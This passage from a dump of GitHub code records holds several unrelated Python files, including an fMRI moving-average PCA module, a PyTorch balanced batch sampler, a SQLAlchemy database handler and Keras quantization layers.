samples\n # that removed and it would be good to have at least 100 sampling remaining to\n # have a useful analysis. Given a masked volume is going to result in fewer\n # samples remaining in 3D space, this is likely a very liberal upper bound, but\n # probably good to at least include an upper bound.\n raise ValueError(\n \"subsample_depth must be an integer > 1 and will retain >100 \"\n \"samples after subsampling. It is %d\" % subsample_depth\n )\n\n N = np.round(n_samples / np.power(sub_iid_sp_median, dim_n))\n\n if sub_iid_sp_median != 1:\n mask_s = utils._subsampling(mask_ND, sub_iid_sp_median)\n mask_s_1d = np.reshape(mask_s, np.prod(mask_s.shape), order=\"F\")\n dat = np.zeros((int(np.sum(mask_s_1d)), n_timepoints))\n LGR.info(\"Generating subsampled i.i.d. data...\")\n for i_vol in range(n_timepoints):\n x_single = np.zeros(n_x * n_y * n_z)\n x_single[mask_vec == 1] = X[:, i_vol]\n x_single = np.reshape(x_single, (n_x, n_y, n_z), order=\"F\")\n dat0 = utils._subsampling(x_single, sub_iid_sp_median)\n dat0 = np.reshape(dat0, np.prod(dat0.shape), order=\"F\")\n dat[:, i_vol] = dat0[mask_s_1d == 1]\n\n # Perform Variance Normalization\n temp_scaler = StandardScaler(with_mean=True, with_std=True)\n dat = temp_scaler.fit_transform(dat.T).T\n\n # (completed)\n LGR.info(\"Performing SVD on subsampled i.i.d. data...\")\n V, eigenvalues = utils._icatb_svd(dat, n_timepoints)\n LGR.info(\"SVD done on subsampled i.i.d. data\")\n eigenvalues = eigenvalues[::-1]\n\n LGR.info(\"Effective number of i.i.d. samples %d from %d total voxels\" % (N, n_samples))\n\n # Make eigen spectrum adjustment\n LGR.info(\"Perform eigen spectrum adjustment ...\")\n eigenvalues = utils._eigensp_adj(eigenvalues, N, eigenvalues.shape[0])\n # (completed)\n if np.sum(np.imag(eigenvalues)):\n raise ValueError(\"Invalid eigenvalue found for the subsampled data.\")\n\n # Correction on the ill-conditioned results (when tdim is large,\n # some least significant eigenvalues become small negative numbers)\n if eigenvalues[np.real(eigenvalues) <= np.finfo(float).eps].shape[0] > 0:\n eigenvalues[np.real(eigenvalues) <= np.finfo(float).eps] = np.min(\n eigenvalues[np.real(eigenvalues) >= np.finfo(float).eps]\n )\n\n LGR.info(\"Estimating the dimensionality ...\")\n p = n_timepoints\n aic = np.zeros(p - 1)\n kic = np.zeros(p - 1)\n mdl = np.zeros(p - 1)\n\n for k_idx, k in enumerate(np.arange(1, p)):\n LH = np.log(np.prod(np.power(eigenvalues[k:], 1 / (p - k))) / np.mean(eigenvalues[k:]))\n mlh = 0.5 * N * (p - k) * LH\n df = 1 + 0.5 * k * (2 * p - k + 1)\n aic[k_idx] = (-2 * mlh) + (2 * df)\n kic[k_idx] = (-2 * mlh) + (3 * df)\n mdl[k_idx] = -mlh + (0.5 * df * np.log(N))\n\n itc = np.row_stack([aic, kic, mdl])\n\n dlap = np.diff(itc, axis=1)\n\n # Calculate optimal number of components with each criterion\n # AIC\n a_aic = np.where(dlap[0, :] > 0)[0] + 1\n if a_aic.size == 0:\n n_aic = itc[0, :].shape[0]\n else:\n n_aic = a_aic[0]\n\n # KIC\n a_kic = np.where(dlap[1, :] > 0)[0] + 1\n if a_kic.size == 0:\n n_kic = itc[1, :].shape[0]\n else:\n n_kic = a_kic[0]\n\n # MDL\n a_mdl = np.where(dlap[2, :] > 0)[0] + 1\n if a_mdl.size == 0:\n n_mdl = itc[2, :].shape[0]\n else:\n n_mdl = a_mdl[0]\n\n if self.criterion == \"aic\":\n n_components = n_aic\n elif self.criterion == \"kic\":\n n_components = n_kic\n elif self.criterion == \"mdl\":\n n_components = n_mdl\n\n LGR.info(\"Performing PCA\")\n\n # PCA with all possible components (the estimated selection is made after)\n ppca = PCA(n_components=None, svd_solver=\"full\", copy=False, whiten=False)\n ppca.fit(X)\n\n # Get cumulative explained variance as components are added\n cumsum_varexp = np.cumsum(ppca.explained_variance_ratio_)\n\n # Calculate number of components for 90% varexp\n n_comp_varexp_90 = np.where(cumsum_varexp >= 0.9)[0][0] + 1\n\n # Calculate number of components for 95% varexp\n n_comp_varexp_95 = np.where(cumsum_varexp >= 0.95)[0][0] + 1\n\n LGR.info(\"Estimated number of components is %d\" % n_components)\n\n # Save results of each criterion into dictionaries\n self.aic_ = {\n \"n_components\": n_aic,\n \"value\": aic,\n \"explained_variance_total\": cumsum_varexp[n_aic - 1],\n }\n self.kic_ = {\n \"n_components\": n_kic,\n \"value\": kic,\n \"explained_variance_total\": cumsum_varexp[n_kic - 1],\n }\n self.mdl_ = {\n \"n_components\": n_mdl,\n \"value\": mdl,\n \"explained_variance_total\": cumsum_varexp[n_mdl - 1],\n }\n self.varexp_90_ = {\n \"n_components\": n_comp_varexp_90,\n \"explained_variance_total\": cumsum_varexp[n_comp_varexp_90 - 1],\n }\n self.varexp_95_ = {\n \"n_components\": n_comp_varexp_95,\n \"explained_variance_total\": cumsum_varexp[n_comp_varexp_95 - 1],\n }\n self.all_ = {\n \"n_components\": ppca.n_components_,\n \"explained_variance_total\": cumsum_varexp,\n }\n self.subsampling_ = {\n \"calculated_IID_subsample_depth\": calculated_sub_iid_sp_median,\n \"calculated_IID_subsample_mean\": sub_iid_sp_mean,\n \"IID_subsample_input\": sub_iid_sp,\n \"used_IID_subsample_depth\": sub_iid_sp_median,\n \"effective_num_IID_samples\": N,\n \"total_num_samples\": n_samples,\n }\n\n # Assign attributes from model\n self.components_ = ppca.components_[:n_components, :]\n self.explained_variance_ = ppca.explained_variance_[:n_components]\n self.explained_variance_ratio_ = ppca.explained_variance_ratio_[:n_components]\n self.singular_values_ = ppca.singular_values_[:n_components]\n self.mean_ = ppca.mean_\n self.n_components_ = n_components\n self.n_features_ = ppca.n_features_\n self.n_samples_ = ppca.n_samples_\n # Commenting out noise variance as it depends on the covariance of the estimation\n # self.noise_variance_ = ppca.noise_variance_\n component_maps = np.dot(\n np.dot(X, self.components_.T), np.diag(1.0 / self.explained_variance_)\n )\n component_maps_3d = np.zeros((n_x * n_y * n_z, n_components))\n component_maps_3d[mask_vec == 1, :] = component_maps\n component_maps_3d = np.reshape(component_maps_3d, (n_x, n_y, n_z, n_components), order=\"F\")\n self.u_ = component_maps\n self.u_nii_ = nib.Nifti1Image(component_maps_3d, img.affine, img.header)\n\n def fit(self, img, mask, subsample_depth=None):\n \"\"\"Fit the model with X.\n\n Parameters\n ----------\n img : 4D niimg_like\n Data on which to apply PCA.\n mask : 3D niimg_like\n Mask to apply on ``img``.\n subsample_depth : int, optional\n Dimensionality reduction is calculated on a subset of voxels defined by\n this depth. 2 would mean using every other voxel in 3D space and 3 would\n mean every 3rd voxel. Default=None (estimated depth to make remaining\n voxels independent and identically distributed (IID)\n The subsampling value so that the voxels are assumed to be\n independent and identically distributed (IID).\n Default=None (use estimated value)\n\n Returns\n -------\n self : object\n Returns the instance itself.\n \"\"\"\n self._fit(img, mask, subsample_depth=subsample_depth)\n return self\n\n def fit_transform(self, img, mask, subsample_depth=None):\n \"\"\"Fit the model with X and apply the dimensionality reduction on X.\n\n Parameters\n ----------\n img : 4D niimg_like\n Data on which to apply PCA.\n mask : 3D niimg_like\n Mask to apply on ``img``.\n subsample_depth : int, optional\n Dimensionality reduction is calculated on a subset of voxels defined by\n this depth. 2 would mean using every other voxel in 3D space and 3 would\n mean every 3rd voxel. Default=None (estimated depth to make remaining\n voxels independent and identically distributed (IID)\n\n Returns\n -------\n X_new : 4D niimg_like\n Component weight maps.\n\n Notes\n -----\n The transformation step is different from scikit-learn's approach,\n which ignores explained variance.\n\n subsample_depth is always calculated automatically, but it should be consistent\n across a dataset with the same acquisition parameters, since spatial dependence\n should be similar. In practice, it sometimes gives a different value and causes\n problems. That is, for a dataset with 100 runs, it is 2 in most runs, but when\n it is 3, substantially fewer components are estimated and when it is 1, there is\n almost no dimensionality reduction. This has been added as an optional user provided\n parameter. If mapca seems to be having periodic mis-estimates, then this parameter\n should make it possible to set the IID subsample depth to be consistent across a\n dataset.\n \"\"\"\n self._fit(img, mask, subsample_depth=subsample_depth)\n return self.transform(img)\n\n def transform(self, img):\n \"\"\"Apply dimensionality reduction to X.\n\n X is projected on the first principal components previously extracted from a training set.\n\n Parameters\n ----------\n img : 4D niimg_like\n Data on which to apply PCA.\n\n Returns\n -------\n X_new : array-like, shape (n_samples, n_components)\n\n Notes\n -----\n This is different from scikit-learn's approach, which ignores explained variance.\n \"\"\"\n # X = self.scaler_.fit_transform(X.T).T\n # X_new = np.dot(np.dot(X, self.components_.T), np.diag(1.0 / self.explained_variance_))\n return self.u_nii_\n\n def inverse_transform(self, img, mask):\n \"\"\"Transform data back to its original space.\n\n In other words, return an input X_original whose transform would be X.\n\n Parameters\n ----------\n img : 4D niimg_like\n Component weight maps.\n mask : 3D niimg_like\n Mask to apply on ``img``.\n\n Returns\n -------\n img_orig : 4D niimg_like\n Reconstructed original data, with fourth axis corresponding to time.\n\n Notes\n -----\n This is different from scikit-learn's approach, which ignores explained variance.\n \"\"\"\n img = check_niimg_4d(img)\n mask = check_niimg_3d(mask)\n data = img.get_fdata()\n mask = mask.get_fdata()\n\n [n_x, n_y, n_z, n_components] = data.shape\n data_nib_V = np.reshape(data, (n_x * n_y * n_z, n_components), order=\"F\")\n mask_vec = np.reshape(mask, n_x * n_y * n_z, order=\"F\")\n X = data_nib_V[mask_vec == 1, :]\n\n X_orig = np.dot(np.dot(X, np.diag(self.explained_variance_)), self.components_)\n if self.normalize:\n X_orig = self.scaler_.inverse_transform(X_orig.T).T\n\n n_t = X_orig.shape[1]\n out_data = np.zeros((n_x * n_y * n_z, n_t))\n out_data[mask_vec == 1, :] = X_orig\n out_data = np.reshape(out_data, (n_x, n_y, n_z, n_t), order=\"F\")\n img_orig = nib.Nifti1Image(out_data, img.affine, img.header)\n return img_orig\n\n\ndef ma_pca(img, mask, criterion=\"mdl\", normalize=False, subsample_depth=None):\n \"\"\"Perform moving average-based PCA on imaging data.\n\n Run Singular Value Decomposition (SVD) on input data,\n automatically select components based on a Moving Average\n (stationary Gaussian) process. Finally perform PCA with\n selected number of components.\n\n Parameters\n ----------\n img : 4D niimg_like\n Data on which to apply PCA.\n mask : 3D niimg_like\n Mask to apply on ``img``.\n criterion : {'mdl', 'aic', 'kic'}, optional\n Criterion used to select the number of components. Default is \"mdl\".\n ``mdl`` refers to Minimum Description Length, which is the most aggressive\n (and recommended) option.\n ``aic`` refers to the Akaike Information Criterion, which is the least aggressive option.\n ``kic`` refers to the Kullback-Leibler Information Criterion, which is the middle option.\n normalize : bool, optional\n Whether to normalize (zero mean and unit standard deviation) or not. Default is False.\n subsample_depth : int, optional\n Dimensionality reduction is calculated on a subset of voxels defined by\n this depth. 2 would mean using every other voxel in 3D space and 3 would\n mean every 3rd voxel. Default=None (estimated depth to make remaining\n voxels independent and identically distributed (IID)\n\n Returns\n -------\n u : array-like, shape (n_samples, n_components)\n Component weight map for each component, after masking.\n s : array-like, shape (n_components,)\n Variance explained for each component.\n varex_norm : array-like, shape (n_components,)\n Explained variance ratio.\n v : array-like, shape (n_timepoints, n_components)\n Component timeseries.\n \"\"\"\n pca = MovingAveragePCA(criterion=criterion, normalize=normalize)\n _ = pca.fit_transform(img, mask, subsample_depth=subsample_depth)\n u = pca.u_\n s = pca.explained_variance_\n varex_norm = pca.explained_variance_ratio_\n v = pca.components_.T\n return u, s, varex_norm, v\n","repo_name":"ME-ICA/mapca","sub_path":"mapca/mapca.py","file_name":"mapca.py","file_ext":"py","file_size_in_byte":24627,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"50"} +{"seq_id":"29297030591","text":"from pathlib import Path\n\nimport pandas as pd\nfrom torch.utils.data.sampler import Sampler, RandomSampler\n\n\nclass BalancedBatchSampler(Sampler):\n def __init__(self, index_class_csv: Path):\n \"\"\"\n\n Args:\n index_class_csv (Path):\n index,class_id\n 1, 2\n 2, 5\n 3, 3\n \"\"\"\n groups = pd.read_csv(index_class_csv).groupby(\"class_id\")\n\n self.sampler_infos = {}\n for c, g in groups[\"index\"]:\n indices = g.tolist()\n self.sampler_infos[c] = {\n \"sampler_iter\": iter(RandomSampler(indices)),\n \"indices\": indices,\n \"is_longest\": False,\n }\n\n self.max_len = max(\n [len(info[\"indices\"]) for info in self.sampler_infos.values()]\n )\n\n for info in self.sampler_infos.values():\n if len(info[\"indices\"]) == self.max_len:\n info[\"is_longest\"] = True\n\n @property\n def num_classes(self):\n return len(self.sampler_infos)\n\n def __len__(self):\n return self.max_len\n\n def __iter__(self):\n while True:\n batch = list()\n for info in self.sampler_infos.values():\n try:\n ii = next(info[\"sampler_iter\"])\n i = info[\"indices\"][ii]\n batch.append(i)\n except StopIteration:\n if info[\"is_longest\"]:\n raise StopIteration\n else:\n info[\"sampler_iter\"] = iter(RandomSampler(info[\"indices\"]))\n ii = next(info[\"sampler_iter\"])\n i = info[\"indices\"][ii]\n batch.append(i)\n yield batch\n","repo_name":"amitha-nayak/Fashionista","sub_path":"kaggle-imaterialist2020-model/segmentation/segmentation/balanced_batch/batch_samplers.py","file_name":"batch_samplers.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"38896023983","text":"#Solution1\n\n#get 2 numbers from user\nn1 = float(input(\"Enter the first number: \"))\nn2 = float(input(\"Enter the second number: \"))\n\n#get the operation what the user wants\noperation = str(input(\"Operation? (only use +,-,*,/):\" ))\n\n#define operations\naddition = n1 + n2\nsubstraction = n1 - n2\nmultiplication = n1 * n2\ndivision = n1 / n2\n\n#conditions of operations\nif operation == \"+\":\n print(addition)\nif operation == \"-\":\n print(substraction)\nif operation == \"*\":\n print(multiplication)\nif operation == \"/\":\n print(division) \n\n\n#Solution2\n\nfor i in (10, 0, -1):\n print(i ** 2, end=' ')\n\n","repo_name":"emirtarikarici/CS104","sub_path":"Lab Codes/Lab3/sol1.py","file_name":"sol1.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"14671070309","text":"\"\"\"Database handler using a SQL database\"\"\"\n\nimport datetime\nimport functools\nimport json\nimport logging\nimport os\nimport pathlib\nimport typing\nfrom collections import abc\n\nimport attrs\nimport sqlalchemy as sa\nfrom sqlalchemy import orm\n\nfrom . import _object_types as ot\nfrom . import file_probe as fp\nfrom . import object_handler as oh\nfrom ._db_types import ID, Database, Table, TableName\nfrom ._useful_types import PathType\n\nDB_VERSION: typing.Final[int] = 2\n\n\nclass AbsoluteDateTime(sa.types.TypeDecorator):\n impl = sa.types.DateTime\n cache_ok = True\n\n def process_bind_param(self, value, dialect):\n if value.tzinfo is None:\n raise TypeError(\"Cannot bind naïve datetime to AbsoluteDateTime\")\n return value.astimezone(datetime.timezone.utc)\n\n def process_result_value(self, value, dialect):\n return value.replace(tzinfo=datetime.timezone.utc)\n\n\nclass SQLPath(sa.types.TypeDecorator):\n impl = sa.types.String\n cache_ok = True\n\n def process_bind_param(self, value, dialect):\n return os.fspath(value)\n\n def process_result_value(self, value, dialect):\n return pathlib.Path(value)\n\n\nclass _CustomEncoder(json.JSONEncoder):\n def _is_custom_type(self, obj: typing.Any) -> bool:\n return isinstance(obj, (os.PathLike, fp.FileInfo))\n\n def default(self, obj: typing.Any) -> typing.Any:\n if isinstance(obj, os.PathLike):\n return os.fspath(obj)\n if isinstance(obj, fp.FileInfo):\n return obj.to_json()\n return super().default(obj)\n\n def encode(self, obj: typing.Any) -> str:\n if isinstance(obj, abc.Mapping):\n # Apparently implementing `default()` doesn't work when the object\n # is a dictionary key, but calling `default()` on an already-supported\n # type *also* doesn't work, so we need to check if it's one of the\n # types we've added support for and if so get the serializable\n # version of it.\n return super().encode(\n {\n self.default(key) if self._is_custom_type(key) else key: value\n for key, value in obj.items()\n }\n )\n return super().encode(obj)\n\n\nclass _CustomJsonType(sa.types.TypeDecorator):\n impl = sa.types.String\n cache_ok = True\n\n def _load_json(self, value: str) -> typing.Any:\n if value is None:\n return None\n\n return json.loads(value)\n\n # Typing bug in sqlalchemy-stubs\n def process_bind_param(self, value, dialect) -> str: # type: ignore[override]\n return json.dumps(value, cls=_CustomEncoder)\n\n\nclass _PathCollection(_CustomJsonType):\n def process_result_value(self, value: str, dialect):\n json_obj = self._load_json(value)\n if json_obj is None:\n return None\n\n if isinstance(json_obj, typing.Sequence):\n return list(map(pathlib.Path, json_obj))\n elif isinstance(json_obj, typing.Mapping):\n return {pathlib.Path(key): value for key, value in json_obj.items()}\n else:\n return json_obj\n\n\nclass _CoverImages(_CustomJsonType):\n def process_result_value(self, value: str, dialect):\n json_obj = self._load_json(value)\n\n if json_obj is None:\n return None\n\n # This is Mapping[str, Union[pathlib.Path, Mapping[str, str]]], so each\n # sub-directory is either a dict or a path\n out: typing.Dict[typing.Any, typing.Any] = {}\n for key, value in json_obj.items():\n if isinstance(value, typing.Mapping):\n out[key] = value\n else:\n out[key] = pathlib.Path(value)\n return out\n\n\nclass _FileMetadata(_CustomJsonType):\n def process_result_value(self, value: str, dialect):\n json_obj = self._load_json(value)\n if json_obj is None:\n return None\n\n return {\n pathlib.Path(key): fp.FileInfo.from_json(value)\n for key, value in json_obj.items()\n }\n\n\n_NestedType = typing.Union[type, typing.Tuple[\"_NestedType\", ...]]\n\n\ndef _parse_nested_type(t: type) -> _NestedType:\n container_type: typing.Optional[type] = typing.get_origin(t)\n if container_type is None:\n return t\n\n return (container_type, tuple(map(_parse_nested_type, typing.get_args(t))))\n\n\n_CanonicalMapType = typing.get_origin(typing.Mapping[None, None])\n_CanonicalSequenceType = typing.get_origin(typing.Sequence[None])\n\n\ndef _map_type(t: type) -> typing.Type[sa.sql.type_api.TypeEngine]:\n if t == int or t == ID:\n return sa.Integer\n elif t == str:\n return sa.String\n elif t == float:\n return sa.NUMERIC\n elif t == datetime.datetime:\n return AbsoluteDateTime\n elif t == datetime.date:\n return sa.Date\n elif t == pathlib.Path:\n return SQLPath\n else:\n type_container = typing.get_origin(t)\n argtypes = [\n argtype for argtype in typing.get_args(t) if argtype is not type(None)\n ]\n if type_container == typing.Union:\n if len(argtypes) != 1:\n raise ValueError(\n f\"Unions other than (type | None) not supported, got: {t}\"\n )\n return _map_type(argtypes[0])\n elif type_container in (_CanonicalMapType, _CanonicalSequenceType):\n if type_container == _CanonicalSequenceType and argtypes[0] == pathlib.Path:\n return _PathCollection\n if type_container == _CanonicalMapType:\n if argtypes[1] == fp.FileInfo:\n return _FileMetadata\n if argtypes[0] == pathlib.Path:\n return _PathCollection\n if argtypes[0] == str:\n # This may be the problematic \"cover images\" type\n nested_type_def = _parse_nested_type(argtypes[1])\n if nested_type_def == (\n typing.Union,\n (pathlib.Path, (_CanonicalMapType, (str, str))),\n ):\n return _CoverImages\n return sa.JSON\n\n raise TypeError(f\"Unsupported type: {t}\") # pragma: nocover\n\n\ndef _attr_to_column(a: attrs.Attribute) -> sa.Column:\n name = a.name\n assert a.type is not None\n args: typing.Tuple[typing.Any, ...] = (_map_type(a.type),)\n primary_key = a.metadata.get(\"primary_key\", False)\n nullable = not a.metadata.get(\"required\", False)\n # TODO: Implement foreign key relationships\n # if \"foreign_key\" in a.metadata:\n # args += (sa.ForeignKey(a.metadata[\"foreign_key\"]),)\n comment = a.metadata.get(\"comment\", None)\n\n return sa.Column(\n name, *args, primary_key=primary_key, nullable=nullable, comment=comment\n )\n\n\n@functools.lru_cache(None)\ndef _metadata_object() -> sa.MetaData:\n return sa.MetaData()\n\n\n@functools.lru_cache(None)\ndef _mapper_registry() -> orm.registry:\n return orm.registry()\n\n\n@functools.lru_cache(None)\ndef _map_tables() -> typing.Mapping[TableName, sa.Table]:\n metadata_object = _metadata_object()\n mapper_registry = _mapper_registry()\n table_mapping: typing.Dict[TableName, sa.Table] = {}\n\n for table_name, type_name in oh.TABLE_MAPPING.items():\n base_type = oh.TYPE_MAPPING[type_name]\n # Drop type ignore when attrs >= 22.1 is released\n columns = [_attr_to_column(attr) for attr in attrs.fields(base_type)] # type: ignore[arg-type]\n\n table = sa.Table(table_name, metadata_object, *columns)\n\n table_mapping[TableName(table_name)] = table\n\n mapper_registry.map_imperatively(\n base_type,\n table,\n )\n\n return table_mapping\n\n\nclass SqlDatabaseHandler:\n def __init__(self, db_loc: PathType):\n self._db = pathlib.Path(db_loc)\n self._table_mapping = _map_tables()\n\n @functools.cached_property\n def engine(self) -> sa.engine.Engine:\n return sa.create_engine(f\"sqlite:///{os.fspath(self._db)}\", future=True)\n\n def session(self) -> orm.Session:\n return orm.Session(self.engine, expire_on_commit=False)\n\n def _load_table(self, session: orm.Session, table_type: ot.SchemaType) -> Table:\n query = session.query(table_type)\n return {ID(result.id): result for result in query.all()}\n\n def _upgrade_version(self, session: orm.Session, old: int) -> None:\n if old < 2:\n logging.info(\n \"Database version < 2, adding the files, file_metadata \"\n \"and file_hashes columns to the entries table.\"\n )\n session.execute(\"ALTER TABLE entries ADD COLUMN files JSON\")\n session.execute(\"ALTER TABLE entries ADD COLUMN file_metadata JSON\")\n session.execute(\"ALTER TABLE entries ADD COLUMN file_hashes JSON\")\n\n session.execute(f\"PRAGMA user_version={DB_VERSION}\")\n\n def _initialize_db(self) -> None:\n if not self._db.exists():\n _metadata_object().create_all(self.engine)\n with self.session() as session:\n assert session is not None\n session.execute(f\"PRAGMA user_version={DB_VERSION}\")\n else:\n with self.session() as session:\n assert session is not None\n db_version: int = session.execute(\"PRAGMA user_version\").first()[0] # type: ignore[index,assignment]\n if db_version < DB_VERSION:\n logging.info(\n \"Upgrading database from %s to %s\", db_version, DB_VERSION\n )\n self._upgrade_version(session, db_version)\n elif db_version > DB_VERSION:\n raise ValueError(\n f\"Database version {db_version} is greater than the \"\n + f\"highest version supported by this application ({DB_VERSION})\"\n )\n\n def load_table(self, table_name: TableName) -> Table:\n with self.session() as session:\n type_name = oh.TABLE_MAPPING[table_name]\n return self._load_table(session, oh.TYPE_MAPPING[type_name])\n\n def _save_table(\n self, session: orm.Session, table_name: TableName, table_contents: Table\n ) -> None:\n table_type = oh.TYPE_MAPPING[oh.TABLE_MAPPING[table_name]]\n\n # Delete anything not in `table_contents`\n stmt = sa.delete(table_type).where(\n sa.column(\"id\").not_in(table_contents.keys())\n )\n session.execute(stmt)\n\n # Find all the objects that have been modified, either by mutating them\n # in-place, replacing them with a new schema object or because they\n # are new to the table.\n to_update: typing.MutableMapping[ID, ot.SchemaObject] = {}\n to_replace: typing.MutableMapping[ID, ot.SchemaObject] = {}\n\n for key, obj in table_contents.items():\n insp = sa.inspect(obj)\n if insp.modified:\n if insp.has_identity:\n # These objects already exist in the table\n to_update[key] = obj\n else:\n # These are either new or are using a new instance\n to_replace[key] = obj\n\n if to_replace:\n # Delete all rows where the object in the table dictionary is using\n # a new instance.\n replace_stmt = sa.delete(table_type).where(\n sa.column(\"id\").in_(to_replace.keys())\n )\n session.execute(replace_stmt)\n\n for to_add in (to_replace, to_update):\n try:\n session.add_all(to_add.values())\n except orm.exc.UnmappedInstanceError:\n # If the instances were created before the ORM mapping was set\n # up, instrumentation won't be set up on the instances, so we\n # need to create new copies of the instances (at least until we\n # find a better way to do this.\n session.add_all([table_entry.copy() for table_entry in to_add.values()])\n\n def save_table(self, table_name: TableName, table_contents: Table) -> None:\n with self.session() as session:\n assert session is not None\n self._save_table(session, table_name, table_contents)\n session.commit()\n\n def save_database(self, database: Database) -> None:\n self._initialize_db()\n with self.session() as session:\n assert session is not None\n for table_name, contents in database.items():\n self._save_table(session, table_name, contents)\n\n session.commit()\n\n def load_database(self) -> Database:\n self._initialize_db()\n out: typing.Dict[TableName, Table] = {}\n with self.session() as session:\n for table_name, type_name in oh.TABLE_MAPPING.items():\n table_type = oh.TYPE_MAPPING[type_name]\n out[TableName(table_name)] = self._load_table(session, table_type)\n return out\n","repo_name":"pganssle/audio-feeder","sub_path":"src/audio_feeder/sql_database_handler.py","file_name":"sql_database_handler.py","file_ext":"py","file_size_in_byte":13023,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"50"} +{"seq_id":"10551876000","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('mhcdashboardapp', '0017_auto_20150227_1512'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Indicator',\n fields=[\n ('id', models.IntegerField(serialize=False, primary_key=True)),\n ('description', models.CharField(max_length=500, null=True, blank=True)),\n ],\n options={\n 'db_table': 'indicator',\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='workplanarea',\n name='indicator',\n field=models.ForeignKey(default=0, to='mhcdashboardapp.Indicator'),\n preserve_default=False,\n ),\n ]\n","repo_name":"datainitiative/mhcdashboard","sub_path":"mhcdashboard/mhcdashboardapp/migrations/0018_auto_20150227_1610.py","file_name":"0018_auto_20150227_1610.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"39395898535","text":"import tensorflow as tf\nimport utils\n\n\nclass Conv2D_quant(tf.keras.layers.Conv2D):\n def __init__(self, padding='SAME', quant_flage=False, **kwargs):\n super(Conv2D_quant, self).__init__(**kwargs)\n self.padding = padding\n self.quant_flage = quant_flage\n\n def call(self, inputs):\n if self.quant_flage:\n inputs, inputs_scale, inputs_zero_point = utils.quantize_int8_input(inputs)\n _, kernel, s_kernel, _ = utils.quantize_int8_conv2d(self.kernel)\n output = tf.nn.conv2d(input=(inputs-inputs_zero_point), filters=kernel, strides=self.strides, padding=self.padding)\n return output * inputs_scale * s_kernel\n else:\n output = tf.nn.conv2d(input=inputs, filters=self.kernel, strides=self.strides, padding=self.padding)\n return output\n\n def reset_quant_flage(self, quant_flage):\n self.quant_flage = quant_flage\n\n\nclass Dense_quant(tf.keras.layers.Dense):\n def __init__(self, quant_flage=False, **kwargs):\n super(Dense_quant, self).__init__(**kwargs)\n self.quant_flage = quant_flage\n\n def call(self, inputs):\n if self.quant_flage:\n inputs, inputs_scale, inputs_zero_point = utils.quantize_int8_input(inputs)\n _, kernel, s_kernel, _ = utils.quantize_int8_dense(self.kernel)\n output = tf.matmul((inputs-inputs_zero_point), kernel)\n return output * inputs_scale * s_kernel\n else:\n output = tf.matmul(inputs, self.kernel)\n return output\n\n def reset_quant_flage(self, quant_flage):\n self.quant_flage = quant_flage\n","repo_name":"quantization-backdoor/quantization-backdoor","sub_path":"models/layers_quantization.py","file_name":"layers_quantization.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"38899472593","text":"from setuptools import setup\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetup(\n name=\"aptbps\",\n version=1.0,\n description=\"Density-adaptive distance encoding for machine learning on point clouds\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/rdimaio/aptbps\",\n setup_requires=[\"numpy\", \"sklearn\", \"tqdm\", \"scipy\", \"KDEpy\"],\n install_requires=[\n \"sklearn\",\n \"tqdm\",\n \"numpy\",\n \"scipy\",\n \"KDEpy\"\n ],\n author=\"Riccardo Di Maio\",\n license=\"MIT\",\n keywords=\"aptbps\",\n author_email=\"riccardodimaio11@gmail.com\",\n packages=[\"aptbps\"]\n)","repo_name":"rdimaio/aptbps","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"44504090284","text":"import numpy as np\nimport pandas as pd\nimport re\n\nfilename='/Users/ksakamoto/Desktop/Comics/codes/scripts/iron1.txt'\n#filename='/Users/ksakamoto/Documents/kk/bp.txt'\n\n\nf=filename.split('/')\nj=f[-1].split('.')[0]\n\nfile=open(filename,'r')\ntext=[]\n# .html cleanup stuff\n#for line in file:\n#\ttext.append(line)\n#\tif line[35:38]=='180' or line[35:38]=='266':# or line[35:38]=='174' or line[35:38]=='245' or line[35:38]=='246' or line[35:38]=='244':# or line[30:38]=='left:149':\n#\t\ttext.append(line[95:])\n\t#text.append(line[35:38])\n#m=[]\n#for x in text:\n#\ttry:\n#\t\tp=int(x)\n#\t\tm.append(p)\n#\texcept ValueError:\n#\t\tpass\n#series=pd.Series(m)\n#c=series.value_counts()\n\n#filenew=open(j+'.txt','w')\n#for a in text:\n#\tfilenew.write(a)\n#filenew.close()\n\ntext=[]\nfor line in file:\n#\tprint('a')\n\ttext.append(line)\ntup=text[0][:-1]\nnew=[]\nnewp=[]\nfor line in text[1:]:\n\tif line.isupper()==True:\n\t\tn=' '.join(newp)\n\t\tn=re.sub('\\n','',n)\n\t\tc=n.split(' ')\n\t\tr=[]\n\t\tfor x in c:\n\t\t\tif x.isspace()==False and len(x)>0:\n\t\t\t\tr.append(x)\t\n\t\tnew.append((tup.lstrip(),n[:-1], len(r)))\n\t\tnewp=[]\n\t\ttup=line[:-1]\n\telse:\n\t\tnewp.append(line)\n\t\t\ndf=pd.DataFrame(data=new, columns=['Character','line','words'])\ni=df.groupby('Character')['words'].sum()\n\nword_count=i.sort_values(ascending=False)\nline_count=df['Character'].value_counts()\n\n\ndf['exchanges']=df.groupby('Character')['line'].transform('count')\n\ndf.to_csv(j+'.csv')\n\n\n\n","repo_name":"kimikovader/comic_db","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"31469700663","text":"from pgpy.constants import PubKeyAlgorithm, EllipticCurveOID, KeyFlags, HashAlgorithm, SymmetricKeyAlgorithm, 